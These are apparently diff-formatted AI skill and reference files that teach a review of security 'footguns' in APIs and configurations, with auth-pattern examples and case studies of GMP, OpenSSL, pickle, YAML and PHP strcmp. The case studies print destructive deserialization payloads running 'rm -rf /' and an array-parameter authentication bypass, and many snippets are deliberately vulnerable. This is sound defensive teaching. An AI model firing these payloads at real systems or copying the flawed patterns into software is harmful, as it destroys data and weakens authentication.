4. **Conclusion** — Summary of findings and limitations
|
||||
5. **Methodology** — If the findings are relevant enough to dig deeper
|
||||
|
||||
### Step 3 — Extract claims with locations
|
||||
|
||||
Before paraphrasing implications, list **atomic claims** the paper makes (results, bounds, contributions). For each: **section / figure / table** reference (or page). Prefer primary evidence (results section) over abstract-only restatement.
|
||||
|
||||
### Step 4 — Extract Practical Value
|
||||
|
||||
The most important question: "What can we do differently because of this paper?"
|
||||
|
||||
- If the answer is "nothing" — still summarize, but note low actionability
|
||||
- If the answer is specific — tie each implication to a row in **Claim–evidence map** where possible
|
||||
|
||||
### Step 5 — Assess Reliability
|
||||
|
||||
| Factor | Assessment |
|
||||
|---|---|
|
||||
| Peer review status | Published / Preprint / Workshop |
|
||||
| Replication | Replicated / Single study / Theoretical |
|
||||
| Sample size | Adequate / Small / N/A |
|
||||
| Methodology rigor | Strong / Moderate / Weak |
|
||||
| Author credibility | Established / New / Anonymous |
|
||||
| Conflicts of interest | None apparent / Funded by [X] / Vendor paper |
|
||||
@@ -0,0 +1,289 @@
|
||||
---
|
||||
name: sharp-edges
|
||||
description: Identifies error-prone APIs, dangerous configurations, and footgun designs that enable security mistakes. Use when reviewing API designs, configuration schemas, cryptographic library ergonomics, or evaluating whether code follows "secure by default" and "pit of success" principles. Triggers: footgun, misuse-resistant, secure defaults, API usability, dangerous configuration.
|
||||
license: MIT (modified; see UPSTREAMS.json)
|
||||
---
|
||||
|
||||
# Sharp Edges Analysis
|
||||
|
||||
Evaluates whether APIs, configurations, and interfaces are resistant to developer misuse. Identifies designs where the "easy path" leads to insecurity.
|
||||
|
||||
## When to Use
|
||||
|
||||
- Reviewing API or library design decisions
|
||||
- Auditing configuration schemas for dangerous options
|
||||
- Evaluating cryptographic API ergonomics
|
||||
- Assessing authentication/authorization interfaces
|
||||
- Reviewing any code that exposes security-relevant choices to developers
|
||||
|
||||
## When NOT to Use
|
||||
|
||||
- Implementation bugs (use standard code review)
|
||||
- Business logic flaws (use domain-specific analysis)
|
||||
- Performance optimization (different concern)
|
||||
|
||||
## Core Principle
|
||||
|
||||
**The pit of success**: Secure usage should be the path of least resistance. If developers must understand cryptography, read documentation carefully, or remember special rules to avoid vulnerabilities, the API has failed.
|
||||
|
||||
## Rationalizations to Reject
|
||||
|
||||
| Rationalization | Why It's Wrong | Required Action |
|
||||
|-----------------|----------------|-----------------|
|
||||
| "It's documented" | Developers don't read docs under deadline pressure | Make the secure choice the default or only option |
|
||||
| "Advanced users need flexibility" | Flexibility creates footguns; most "advanced" usage is copy-paste | Provide safe high-level APIs; hide primitives |
|
||||
| "It's the developer's responsibility" | Blame-shifting; you designed the footgun | Remove the footgun or make it impossible to misuse |
|
||||
| "Nobody would actually do that" | Developers do everything imaginable under pressure | Assume maximum developer confusion |
|
||||
| "It's just a configuration option" | Config is code; wrong configs ship to production | Validate configs; reject dangerous combinations |
|
||||
| "We need backwards compatibility" | Insecure defaults can't be grandfather-claused | Deprecate loudly; force migration |
|
||||
|
||||
## Sharp Edge Categories
|
||||
|
||||
### 1. Algorithm/Mode Selection Footguns
|
||||
|
||||
APIs that let developers choose algorithms invite choosing wrong ones.
|
||||
|
||||
**The JWT Pattern** (canonical example):
|
||||
- Header specifies algorithm: attacker can set `"alg": "none"` to bypass signatures
|
||||
- Algorithm confusion: RSA public key used as HMAC secret when switching RS256→HS256
|
||||
- Root cause: Letting untrusted input control security-critical decisions
|
||||
|
||||
**Detection patterns:**
|
||||
- Function parameters like `algorithm`, `mode`, `cipher`, `hash_type`
|
||||
- Enums/strings selecting cryptographic primitives
|
||||
- Configuration options for security mechanisms
|
||||
|
||||
**Example - PHP password_hash allowing weak algorithms:**
|
||||
```php
|
||||
// DANGEROUS: allows crc32, md5, sha1
|
||||
password_hash($password, PASSWORD_DEFAULT); // Good - no choice
|
||||
hash($algorithm, $password); // BAD: accepts "crc32"
|
||||
```
|
||||
|
||||
### 2. Dangerous Defaults
|
||||
|
||||
Defaults that are insecure, or zero/empty values that disable security.
|
||||
|
||||
**The OTP Lifetime Pattern:**
|
||||
```python
|
||||
# What happens when lifetime=0?
|
||||
def verify_otp(code, lifetime=300): # 300 seconds default
|
||||
if lifetime == 0:
|
||||
return True # OOPS: 0 means "accept all"?
|
||||
# Or does it mean "expired immediately"?
|
||||
```
|
||||
|
||||
**Detection patterns:**
|
||||
- Timeouts/lifetimes that accept 0 (infinite? immediate expiry?)
|
||||
- Empty strings that bypass checks
|
||||
- Null values that skip validation
|
||||
- Boolean defaults that disable security features
|
||||
- Negative values with undefined semantics
|
||||
|
||||
**Questions to ask:**
|
||||
- What happens with `timeout=0`? `max_attempts=0`? `key=""`?
|
||||
- Is the default the most secure option?
|
||||
- Can any default value disable security entirely?
|
||||
|
||||
### 3. Primitive vs. Semantic APIs
|
||||
|
||||
APIs that expose raw bytes instead of meaningful types invite type confusion.
|
||||
|
||||
**The Libsodium vs. Halite Pattern:**
|
||||
|
||||
```php
|
||||
// Libsodium (primitives): bytes are bytes
|
||||
sodium_crypto_box($message, $nonce, $keypair);
|
||||
// Easy to: swap nonce/keypair, reuse nonces, use wrong key type
|
||||
|
||||
// Halite (semantic): types enforce correct usage
|
||||
Crypto::seal($message, new EncryptionPublicKey($key));
|
||||
// Wrong key type = type error, not silent failure
|
||||
```
|
||||
|
||||
**Detection patterns:**
|
||||
- Functions taking `bytes`, `string`, `[]byte` for distinct security concepts
|
||||
- Parameters that could be swapped without type errors
|
||||
- Same type used for keys, nonces, ciphertexts, signatures
|
||||
|
||||
**The comparison footgun:**
|
||||
```go
|
||||
// Timing-safe comparison looks identical to unsafe
|
||||
if hmac == expected { } // BAD: timing attack
|
||||
if hmac.Equal(mac, expected) { } // Good: constant-time
|
||||
// Same types, different security properties
|
||||
```
|
||||
|
||||
### 4. Configuration Cliffs
|
||||
|
||||
One wrong setting creates catastrophic failure, with no warning.
|
||||
|
||||
**Detection patterns:**
|
||||
- Boolean flags that disable security entirely
|
||||
- String configs that aren't validated
|
||||
- Combinations of settings that interact dangerously
|
||||
- Environment variables that override security settings
|
||||
- Constructor parameters with sensible defaults but no validation (callers can override with insecure values)
|
||||
|
||||
**Examples:**
|
||||
```yaml
|
||||
# One typo = disaster
|
||||
verify_ssl: fasle # Typo silently accepted as truthy?
|
||||
|
||||
# Magic values
|
||||
session_timeout: -1 # Does this mean "never expire"?
|
||||
|
||||
# Dangerous combinations accepted silently
|
||||
auth_required: true
|
||||
bypass_auth_for_health_checks: true
|
||||
health_check_path: "/" # Oops
|
||||
```
|
||||
|
||||
```php
|
||||
// Sensible default doesn't protect against bad callers
|
||||
public function __construct(
|
||||
public string $hashAlgo = 'sha256', // Good default...
|
||||
public int $otpLifetime = 120, // ...but accepts md5, 0, etc.
|
||||
) {}
|
||||
```
|
||||
|
||||
See [config-patterns.md](references/config-patterns.md#unvalidated-constructor-parameters) for detailed patterns.
|
||||
|
||||
### 5. Silent Failures
|
||||
|
||||
Errors that don't surface, or success that masks failure.
|
||||
|
||||
**Detection patterns:**
|
||||
- Functions returning booleans instead of throwing on security failures
|
||||
- Empty catch blocks around security operations
|
||||
- Default values substituted on parse errors
|
||||
- Verification functions that "succeed" on malformed input
|
||||
|
||||
**Examples:**
|
||||
```python
|
||||
# Silent bypass
|
||||
def verify_signature(sig, data, key):
|
||||
if not key:
|
||||
return True # No key = skip verification?!
|
||||
|
||||
# Return value ignored
|
||||
signature.verify(data, sig) # Throws on failure
|
||||
crypto.verify(data, sig) # Returns False on failure
|
||||
# Developer forgets to check return value
|
||||
```
|
||||
|
||||
### 6. Stringly-Typed Security
|
||||
|
||||
Security-critical values as plain strings enable injection and confusion.
|
||||
|
||||
**Detection patterns:**
|
||||
- SQL/commands built from string concatenation
|
||||
- Permissions as comma-separated strings
|
||||
- Roles/scopes as arbitrary strings instead of enums
|
||||
- URLs constructed by joining strings
|
||||
|
||||
**The permission accumulation footgun:**
|
||||
```python
|
||||
permissions = "read,write"
|
||||
permissions += ",admin" # Too easy to escalate
|
||||
|
||||
# vs. type-safe
|
||||
permissions = {Permission.READ, Permission.WRITE}
|
||||
permissions.add(Permission.ADMIN) # At least it's explicit
|
||||
```
|
||||
|
||||
## Analysis Workflow
|
||||
|
||||
### Phase 1: Surface Identification
|
||||
|
||||
1. **Map security-relevant APIs**: authentication, authorization, cryptography, session management, input validation
|
||||
2. **Identify developer choice points**: Where can developers select algorithms, configure timeouts, choose modes?
|
||||
3. **Find configuration schemas**: Environment variables, config files, constructor parameters
|
||||
|
||||
### Phase 2: Edge Case Probing
|
||||
|
||||
For each choice point, ask:
|
||||
- **Zero/empty/null**: What happens with `0`, `""`, `null`, `[]`?
|
||||
- **Negative values**: What does `-1` mean? Infinite? Error?
|
||||
- **Type confusion**: Can different security concepts be swapped?
|
||||
- **Default values**: Is the default secure? Is it documented?
|
||||
- **Error paths**: What happens on invalid input? Silent acceptance?
|
||||
|
||||
### Phase 3: Threat Modeling
|
||||
|
||||
Consider three adversaries:
|
||||
|
||||
1. **The Scoundrel**: Actively malicious developer or attacker controlling config
|
||||
- Can they disable security via configuration?
|
||||
- Can they downgrade algorithms?
|
||||
- Can they inject malicious values?
|
||||
|
||||
2. **The Lazy Developer**: Copy-pastes examples, skips documentation
|
||||
- Will the first example they find be secure?
|
||||
- Is the path of least resistance secure?
|
||||
- Do error messages guide toward secure usage?
|
||||
|
||||
3. **The Confused Developer**: Misunderstands the API
|
||||
- Can they swap parameters without type errors?
|
||||
- Can they use the wrong key/algorithm/mode by accident?
|
||||
- Are failure modes obvious or silent?
|
||||
|
||||
### Phase 4: Validate Findings
|
||||
|
||||
For each identified sharp edge:
|
||||
|
||||
1. **Reproduce the misuse**: Write minimal code demonstrating the footgun
|
||||
2. **Verify exploitability**: Does the misuse create a real vulnerability?
|
||||
3. **Check documentation**: Is the danger documented? (Documentation doesn't excuse bad design, but affects severity)
|
||||
4. **Test mitigations**: Can the API be used safely with reasonable effort?
|
||||
|
||||
If a finding seems questionable, return to Phase 2 and probe more edge cases.
|
||||
|
||||
## Severity Classification
|
||||
|
||||
| Severity | Criteria | Examples |
|
||||
|----------|----------|----------|
|
||||
| Critical | Default or obvious usage is insecure | `verify: false` default; empty password allowed |
|
||||
| High | Easy misconfiguration breaks security | Algorithm parameter accepts "none" |
|
||||
| Medium | Unusual but possible misconfiguration | Negative timeout has unexpected meaning |
|
||||
| Low | Requires deliberate misuse | Obscure parameter combination |
|
||||
|
||||
## References
|
||||
|
||||
**By category:**
|
||||
|
||||
- **Cryptographic APIs**: See [references/crypto-apis.md](references/crypto-apis.md)
|
||||
- **Configuration Patterns**: See [references/config-patterns.md](references/config-patterns.md)
|
||||
- **Authentication/Session**: See [references/auth-patterns.md](references/auth-patterns.md)
|
||||
- **Real-World Case Studies**: See [references/case-studies.md](references/case-studies.md) (OpenSSL, GMP, etc.)
|
||||
|
||||
**By language** (general footguns, not crypto-specific):
|
||||
|
||||
| Language | Guide |
|
||||
|----------|-------|
|
||||
| C/C++ | [references/lang-c.md](references/lang-c.md) |
|
||||
| Go | [references/lang-go.md](references/lang-go.md) |
|
||||
| Rust | [references/lang-rust.md](references/lang-rust.md) |
|
||||
| Swift | [references/lang-swift.md](references/lang-swift.md) |
|
||||
| Java | [references/lang-java.md](references/lang-java.md) |
|
||||
| Kotlin | [references/lang-kotlin.md](references/lang-kotlin.md) |
|
||||
| C# | [references/lang-csharp.md](references/lang-csharp.md) |
|
||||
| PHP | [references/lang-php.md](references/lang-php.md) |
|
||||
| JavaScript/TypeScript | [references/lang-javascript.md](references/lang-javascript.md) |
|
||||
| Python | [references/lang-python.md](references/lang-python.md) |
|
||||
| Ruby | [references/lang-ruby.md](references/lang-ruby.md) |
|
||||
|
||||
See also [references/language-specific.md](references/language-specific.md) for a combined quick reference.
|
||||
|
||||
## Quality Checklist
|
||||
|
||||
Before concluding analysis:
|
||||
|
||||
- [ ] Probed all zero/empty/null edge cases
|
||||
- [ ] Verified defaults are secure
|
||||
- [ ] Checked for algorithm/mode selection footguns
|
||||
- [ ] Tested type confusion between security concepts
|
||||
- [ ] Considered all three adversary types
|
||||
- [ ] Verified error paths don't bypass security
|
||||
- [ ] Checked configuration validation
|
||||
- [ ] Constructor params validated (not just defaulted) - see [config-patterns.md](references/config-patterns.md#unvalidated-constructor-parameters)
|
||||
@@ -0,0 +1,252 @@
|
||||
# Authentication & Session Footguns
|
||||
|
||||
Patterns that make authentication and session management error-prone.
|
||||
|
||||
## Password Handling
|
||||
|
||||
### Comparison Vulnerabilities
|
||||
|
||||
```python
|
||||
# DANGEROUS: Short-circuit evaluation
|
||||
def check_password(user_input, stored):
|
||||
return user_input == stored # Timing attack
|
||||
|
||||
# DANGEROUS: Empty password bypass
|
||||
def check_password(user_input, stored):
|
||||
if not stored:
|
||||
return True # No password set = access granted?
|
||||
return constant_time_compare(user_input, stored)
|
||||
|
||||
# DANGEROUS: Null bypass
|
||||
def authenticate(username, password):
|
||||
user = get_user(username)
|
||||
if user is None:
|
||||
return None # No user = return None
|
||||
if password == user.password: # None == None if both None
|
||||
return user
|
||||
```
|
||||
|
||||
### Length Limits That Truncate
|
||||
|
||||
```python
|
||||
# DANGEROUS: Password truncated before hashing
|
||||
def hash_password(password: str) -> str:
|
||||
password = password[:72] # bcrypt limit
|
||||
return bcrypt.hash(password)
|
||||
|
||||
# User sets: "password123" + 64 more characters + "IMPORTANT_ENTROPY"
|
||||
# Stored: hash of just "password123" + first 61 characters
|
||||
# Attacker only needs to brute force truncated version
|
||||
```
|
||||
|
||||
**Fix**: Reject passwords over limit; don't silently truncate.
|
||||
|
||||
### Validation Ordering
|
||||
|
||||
```python
|
||||
# DANGEROUS: Username enumeration
|
||||
def login(username, password):
|
||||
user = db.get_user(username)
|
||||
if not user:
|
||||
return "User not found" # Reveals user doesn't exist
|
||||
if not verify_password(password, user.password_hash):
|
||||
return "Wrong password" # Reveals user DOES exist
|
||||
return create_session(user)
|
||||
|
||||
# SECURE: Uniform error
|
||||
def login(username, password):
|
||||
user = db.get_user(username)
|
||||
if not user or not verify_password(password, user.password_hash):
|
||||
return "Invalid credentials"
|
||||
return create_session(user)
|
||||
```
|
||||
|
||||
## Session Management
|
||||
|
||||
### Session Fixation Enablers
|
||||
|
||||
```python
|
||||
# DANGEROUS: Session ID accepted from request
|
||||
def login(request):
|
||||
session_id = request.cookies.get("session") or generate_session_id()
|
||||
# Attacker gives victim a known session ID before login
|
||||
# After login, attacker knows victim's session
|
||||
sessions[session_id] = user
|
||||
```
|
||||
|
||||
**Fix**: Always generate new session ID on authentication state change.
|
||||
|
||||
### Token Generation Weakness
|
||||
|
||||
```python
|
||||
# DANGEROUS: Predictable tokens
|
||||
import time
|
||||
session_id = hashlib.md5(str(time.time()).encode()).hexdigest()
|
||||
# Attacker knows approximate login time = can guess session
|
||||
|
||||
# DANGEROUS: Insufficient entropy
|
||||
session_id = ''.join(random.choice('abcdef') for _ in range(8))
|
||||
# Only 6^8 = 1.6M possibilities
|
||||
|
||||
# SECURE: Cryptographic randomness
|
||||
session_id = secrets.token_urlsafe(32)
|
||||
```
|
||||
|
||||
### Session Timeout Footguns
|
||||
|
||||
```python
|
||||
# DANGEROUS: Timeout of 0 means "never"?
|
||||
class SessionConfig:
|
||||
timeout_seconds: int = 3600 # 1 hour
|
||||
# What if someone sets 0? Infinite session?
|
||||
|
||||
# DANGEROUS: Negative timeout
|
||||
if current_time - session_created > timeout:
|
||||
# If timeout is negative, this is always False
|
||||
# Session never expires
|
||||
```
|
||||
|
||||
## Token/OTP Handling
|
||||
|
||||
### OTP Lifetime Issues
|
||||
|
||||
```python
|
||||
# DANGEROUS: lifetime=0 accepts all
|
||||
def verify_otp(code, user, lifetime=300):
|
||||
if lifetime == 0:
|
||||
return True # Skip expiry check entirely
|
||||
|
||||
# DANGEROUS: Negative lifetime
|
||||
if otp.created_at + lifetime > current_time:
|
||||
return True
|
||||
# If lifetime is negative, always expired? Or underflow?
|
||||
|
||||
# DANGEROUS: No rate limiting
|
||||
def verify_otp(code, user):
|
||||
return code == user.current_otp
|
||||
# Attacker can try all 1,000,000 6-digit codes
|
||||
```
|
||||
|
||||
### Token Reuse
|
||||
|
||||
```python
|
||||
# DANGEROUS: OTP valid until next OTP generated
|
||||
def verify_otp(code, user):
|
||||
return code == user.otp
|
||||
|
||||
# DANGEROUS: Reset token valid forever
|
||||
def verify_reset_token(token):
|
||||
return token in valid_tokens
|
||||
# Never expires, never invalidated on use
|
||||
|
||||
# SECURE: Single-use, time-limited
|
||||
def verify_reset_token(token):
|
||||
record = db.get_token(token)
|
||||
if not record:
|
||||
return False
|
||||
if record.used or record.expired:
|
||||
return False
|
||||
record.mark_used() # Invalidate immediately
|
||||
return True
|
||||
```
|
||||
|
||||
## Authorization Footguns
|
||||
|
||||
### Role/Permission Accumulation
|
||||
|
||||
```python
|
||||
# DANGEROUS: String-based permissions
|
||||
user.permissions = "read,write"
|
||||
user.permissions += ",admin" # Too easy
|
||||
|
||||
# DANGEROUS: Any-match logic
|
||||
def has_permission(user, required):
|
||||
return any(p in user.permissions for p in required.split(","))
|
||||
# has_permission(user, "admin,readonly") - matches if ANY is present
|
||||
|
||||
# DANGEROUS: Substring matching
|
||||
if "admin" in user.role:
|
||||
grant_admin_access()
|
||||
# "readonly_admin_viewer" contains "admin"
|
||||
```
|
||||
|
||||
### Missing Authorization Checks
|
||||
|
||||
```python
|
||||
# DANGEROUS: Auth check in one place, not others
|
||||
@require_login
|
||||
def list_documents(request):
|
||||
return Document.objects.all()
|
||||
|
||||
def get_document(request, doc_id):
|
||||
# Developer forgot @require_login
|
||||
return Document.objects.get(id=doc_id)
|
||||
|
||||
def delete_document(request, doc_id):
|
||||
# Developer also forgot authorization check
|
||||
Document.objects.get(id=doc_id).delete()
|
||||
```
|
||||
|
||||
**Fix**: Centralized authorization; deny-by-default.
|
||||
|
||||
### IDOR Enablers
|
||||
|
||||
```python
|
||||
# DANGEROUS: User ID from request
|
||||
def get_profile(request):
|
||||
user_id = request.GET["user_id"] # Attacker changes this
|
||||
return User.objects.get(id=user_id)
|
||||
|
||||
# DANGEROUS: Sequential IDs
|
||||
user = User.objects.create(...) # Gets ID 12345
|
||||
# Attacker tries 12344, 12346, etc.
|
||||
```
|
||||
|
||||
## Multi-Factor Authentication
|
||||
|
||||
### Bypassable MFA
|
||||
|
||||
```python
|
||||
# DANGEROUS: MFA check in frontend only
|
||||
# API directly accessible without MFA
|
||||
|
||||
# DANGEROUS: "Remember this device" with weak token
|
||||
device_token = hashlib.md5(user_agent.encode()).hexdigest()
|
||||
# Attacker spoofs User-Agent to bypass MFA
|
||||
|
||||
# DANGEROUS: MFA disabled by user preference
|
||||
if user.preferences.get("mfa_enabled", True):
|
||||
require_mfa()
|
||||
# Preference stored in same session = attacker disables it
|
||||
```
|
||||
|
||||
### Recovery Code Issues
|
||||
|
||||
```python
|
||||
# DANGEROUS: Predictable recovery codes
|
||||
recovery_code = str(user.id).zfill(8) # Just the user ID
|
||||
|
||||
# DANGEROUS: Unlimited recovery attempts
|
||||
for _ in range(1000000):
|
||||
try_recovery_code(guess)
|
||||
|
||||
# DANGEROUS: Recovery codes don't invalidate
|
||||
if code in user.recovery_codes:
|
||||
login(user)
|
||||
# Code still valid for reuse
|
||||
```
|
||||
|
||||
## Auth API Design Checklist
|
||||
|
||||
For authentication APIs, verify:
|
||||
|
||||
- [ ] **Constant-time comparison**: Password/token checks use constant-time compare
|
||||
- [ ] **Empty value rejection**: Empty passwords/tokens explicitly rejected
|
||||
- [ ] **Uniform errors**: No user enumeration via different error messages
|
||||
- [ ] **Session regeneration**: New session ID on auth state changes
|
||||
- [ ] **Cryptographic tokens**: secrets module, not random or time-based
|
||||
- [ ] **Positive timeouts**: Zero/negative values rejected or have safe meaning
|
||||
- [ ] **Single-use tokens**: OTPs/reset tokens invalidated on use
|
||||
- [ ] **Rate limiting**: Brute force protection on all auth endpoints
|
||||
- [ ] **Authorization centralized**: Not scattered across endpoints
|
||||
- [ ] **MFA in backend**: Not bypassable by skipping frontend
|
||||
@@ -0,0 +1,274 @@
|
||||
# Real-World Case Studies
|
||||
|
||||
Analysis of sharp edges in widely-used libraries. These aren't implementation bugs—they're design decisions that make secure usage difficult.
|
||||
|
||||
## GNU Multiple Precision Arithmetic Library (GMP)
|
||||
|
||||
GMP is used extensively for cryptographic implementations (RSA, Paillier, ElGamal, etc.) despite being fundamentally unsuitable for cryptography.
|
||||
|
||||
### Sharp Edge: Variable-Time Operations
|
||||
|
||||
**The Problem**: GMP operations are not constant-time. Timing varies based on input values.
|
||||
|
||||
```c
|
||||
// DANGEROUS: Timing leaks secret exponent bits
|
||||
mpz_powm(result, base, secret_exponent, modulus);
|
||||
|
||||
// Each bit of secret_exponent affects timing differently
|
||||
// Attacker can recover secret_exponent via timing analysis
|
||||
```
|
||||
|
||||
**Why This Matters**:
|
||||
- Paillier encryption uses `mpz_powm` with secret keys
|
||||
- RSA implementations using GMP leak private key bits
|
||||
- Even "blinded" implementations often have residual timing leaks
|
||||
|
||||
**Detection Pattern**: Any use of GMP (`mpz_*` functions) with secret values:
|
||||
- `mpz_powm`, `mpz_powm_sec` (the "sec" version is still not fully constant-time)
|
||||
- `mpz_mul`, `mpz_mod` with secret operands
|
||||
- `mpz_cmp` for secret comparison
|
||||
|
||||
**Real Vulnerabilities**:
|
||||
- CVE-2018-16152: Timing attack on strongSwan IKEv2
|
||||
- Numerous academic papers demonstrating key recovery from GMP-based crypto
|
||||
|
||||
### Sharp Edge: Memory Not Securely Cleared
|
||||
|
||||
```c
|
||||
mpz_t secret_key;
|
||||
mpz_init(secret_key);
|
||||
// ... use secret_key ...
|
||||
mpz_clear(secret_key); // Memory NOT securely wiped
|
||||
// Secret data may persist in freed memory
|
||||
```
|
||||
|
||||
**The Problem**: `mpz_clear` doesn't zero memory before freeing. Secrets persist.
|
||||
|
||||
### Sharp Edge: Confusing Import/Export API
|
||||
|
||||
```c
|
||||
// What does this do?
|
||||
mpz_export(buf, &count, order, size, endian, nails, op);
|
||||
|
||||
// Parameters:
|
||||
// - order: 1 = most significant word first, -1 = least significant
|
||||
// - endian: 1 = big, -1 = little, 0 = native
|
||||
// - nails: bits to skip at top of each word (?!)
|
||||
```
|
||||
|
||||
**The Problem**: Seven parameters, three of which control byte ordering in different ways. Easy to get wrong, hard to verify correctness.
|
||||
|
||||
### Mitigation
|
||||
|
||||
For cryptographic use, prefer:
|
||||
- **libsodium** for common operations
|
||||
- **OpenSSL BIGNUM** (has constant-time variants)
|
||||
- **libgmp with mpz_powm_sec** (partial mitigation, not complete)
|
||||
|
||||
---
|
||||
|
||||
## OpenSSL
|
||||
|
||||
The canonical example of a powerful but footgun-laden cryptographic library.
|
||||
|
||||
### Sharp Edge: SSL_CTX_set_verify Callback
|
||||
|
||||
```c
|
||||
// DANGEROUS: Easy to write callback that always returns 1
|
||||
SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, verify_callback);
|
||||
|
||||
int verify_callback(int preverify_ok, X509_STORE_CTX *ctx) {
|
||||
// Developer thinks: "I'll add logging here"
|
||||
log_certificate(ctx);
|
||||
return 1; // OOPS: Always accepts, ignoring preverify_ok!
|
||||
}
|
||||
```
|
||||
|
||||
**The Problem**: The callback's return value determines whether verification succeeds. Developers often:
|
||||
- Return 1 (success) unconditionally while "just adding logging"
|
||||
- Forget that returning non-zero bypasses all verification
|
||||
- Copy-paste examples that return 1 for "debugging"
|
||||
|
||||
**Correct Pattern**:
|
||||
```c
|
||||
int verify_callback(int preverify_ok, X509_STORE_CTX *ctx) {
|
||||
if (!preverify_ok) {
|
||||
// Log failure details
|
||||
log_verification_failure(ctx);
|
||||
}
|
||||
return preverify_ok; // Preserve original decision
|
||||
}
|
||||
```
|
||||
|
||||
### Sharp Edge: Error Handling via ERR_get_error
|
||||
|
||||
```c
|
||||
// DANGEROUS: Error easily ignored
|
||||
EVP_EncryptFinal_ex(ctx, outbuf, &outlen);
|
||||
// Did it succeed? Who knows!
|
||||
|
||||
// Correct but verbose:
|
||||
if (EVP_EncryptFinal_ex(ctx, outbuf, &outlen) != 1) {
|
||||
unsigned long err = ERR_get_error();
|
||||
char buf[256];
|
||||
ERR_error_string_n(err, buf, sizeof(buf));
|
||||
// Handle error...
|
||||
}
|
||||
```
|
||||
|
||||
**The Problem**:
|
||||
- Functions return 1 for success (not 0!)
|
||||
- Errors accumulate in a thread-local queue
|
||||
- Easy to forget to check, easy to check wrong way
|
||||
- Error queue must be cleared or errors persist
|
||||
|
||||
### Sharp Edge: RAND_bytes vs RAND_pseudo_bytes
|
||||
|
||||
```c
|
||||
// These look almost identical:
|
||||
RAND_bytes(buf, len); // Cryptographically secure
|
||||
RAND_pseudo_bytes(buf, len); // NOT guaranteed secure!
|
||||
|
||||
// Worse: RAND_pseudo_bytes returns 1 even when insecure
|
||||
int rc = RAND_pseudo_bytes(buf, len);
|
||||
// rc == 1 means "success", not "cryptographically random"
|
||||
// rc == 0 means "success but not crypto-strength" (!!)
|
||||
// rc == -1 means "not supported"
|
||||
```
|
||||
|
||||
**The Problem**: Function names differ by one word; return values are confusing; the insecure function is not clearly marked dangerous.
|
||||
|
||||
### Sharp Edge: Memory Ownership Confusion
|
||||
|
||||
```c
|
||||
// Who frees this?
|
||||
X509 *cert = SSL_get_peer_certificate(ssl);
|
||||
// Answer: YOU do (it's a copy)
|
||||
|
||||
// Who frees this?
|
||||
X509 *cert = SSL_get0_peer_certificate(ssl); // OpenSSL 3.0+
|
||||
// Answer: NOBODY (it's a reference)
|
||||
|
||||
// The difference: "get" vs "get0"
|
||||
// This convention is NOT obvious or consistently applied
|
||||
```
|
||||
|
||||
**The Problem**: Memory ownership indicated by subtle naming conventions that aren't documented together and aren't consistent across the API.
|
||||
|
||||
### Sharp Edge: EVP_CIPHER_CTX Reuse
|
||||
|
||||
```c
|
||||
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
|
||||
EVP_EncryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, key, iv);
|
||||
EVP_EncryptUpdate(ctx, out, &outlen, in, inlen);
|
||||
EVP_EncryptFinal_ex(ctx, out + outlen, &tmplen);
|
||||
|
||||
// DANGEROUS: Reusing ctx without reset
|
||||
EVP_EncryptInit_ex(ctx, NULL, NULL, NULL, iv2); // New IV only
|
||||
// Some state from previous encryption may persist!
|
||||
```
|
||||
|
||||
**The Problem**: Context reuse rules are complex and vary by cipher mode.
|
||||
|
||||
---
|
||||
|
||||
## Python's `pickle`
|
||||
|
||||
### Sharp Edge: Arbitrary Code Execution by Design
|
||||
|
||||
```python
|
||||
import pickle
|
||||
|
||||
# DANGEROUS: Deserializes arbitrary Python objects
|
||||
data = pickle.loads(untrusted_input)
|
||||
|
||||
# Attacker sends:
|
||||
# b"cos\nsystem\n(S'rm -rf /'\ntR."
|
||||
# Result: Executes shell command
|
||||
```
|
||||
|
||||
**The Problem**: `pickle` is not a data format—it's a code execution format. There is no safe way to unpickle untrusted data, but:
|
||||
- The function looks like a data parser
|
||||
- The name suggests food preservation, not danger
|
||||
- Many developers don't realize the risk
|
||||
|
||||
**Mitigation**: Use `json` for data. If you need pickle, use `hmac` to authenticate before unpickling (but even then, prefer safer formats).
|
||||
|
||||
---
|
||||
|
||||
## YAML Libraries
|
||||
|
||||
### Sharp Edge: Code Execution via Tags
|
||||
|
||||
```python
|
||||
import yaml
|
||||
|
||||
# DANGEROUS: yaml.load() executes arbitrary code
|
||||
data = yaml.load(untrusted_input)
|
||||
|
||||
# Attacker sends:
|
||||
# !!python/object/apply:os.system ['rm -rf /']
|
||||
```
|
||||
|
||||
**The Problem**: YAML's tag system allows arbitrary object instantiation. The "safe" loader is:
|
||||
```python
|
||||
data = yaml.safe_load(untrusted_input) # Safe
|
||||
data = yaml.load(untrusted_input, Loader=yaml.SafeLoader) # Also safe
|
||||
```
|
||||
|
||||
But the dangerous version is the obvious one (`yaml.load()`).
|
||||
|
||||
---
|
||||
|
||||
## PHP's `strcmp` for Password Comparison
|
||||
|
||||
### Sharp Edge: Type Juggling Bypass
|
||||
|
||||
```php
|
||||
// DANGEROUS: Type juggling attack
|
||||
if (strcmp($_POST['password'], $stored_password) == 0) {
|
||||
authenticate();
|
||||
}
|
||||
|
||||
// Attacker sends: password[]=anything
|
||||
// strcmp(array, string) returns NULL
|
||||
// NULL == 0 is TRUE in PHP!
|
||||
```
|
||||
|
||||
**The Problem**:
|
||||
- `strcmp` returns `NULL` on type error, not `-1` or `1`
|
||||
- PHP's `==` operator coerces `NULL` to `0`
|
||||
- `NULL == 0` evaluates to `TRUE`
|
||||
- Authentication bypassed
|
||||
|
||||
**Fix**:
|
||||
```php
|
||||
if (hash_equals($stored_hash, hash('sha256', $_POST['password']))) {
|
||||
// Use hash_equals for timing-safe comparison
|
||||
// AND proper password hashing (not shown)
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Analysis Template
|
||||
|
||||
When examining a library for sharp edges:
|
||||
|
||||
### Input → Expected Output
|
||||
|
||||
| Input | Expected | Actual | Vulnerability |
|
||||
|-------|----------|--------|---------------|
|
||||
| `verify_ssl=false` | Clear warning | Silent acceptance | Config cliff |
|
||||
| `password=""` | Rejection | Login success | Empty bypass |
|
||||
| `algorithm="none"` | Error | Signature skipped | Downgrade |
|
||||
| `timeout=-1` | Error | Infinite timeout | Magic value |
|
||||
|
||||
### Library Comparison
|
||||
|
||||
| Feature | Dangerous Library | Safer Alternative |
|
||||
|---------|------------------|-------------------|
|
||||
| Bignum crypto | GMP | libsodium, OpenSSL BIGNUM |
|
||||
| TLS | Raw OpenSSL | Higher-level wrappers |
|
||||
| Serialization | pickle, YAML | JSON, protobuf |
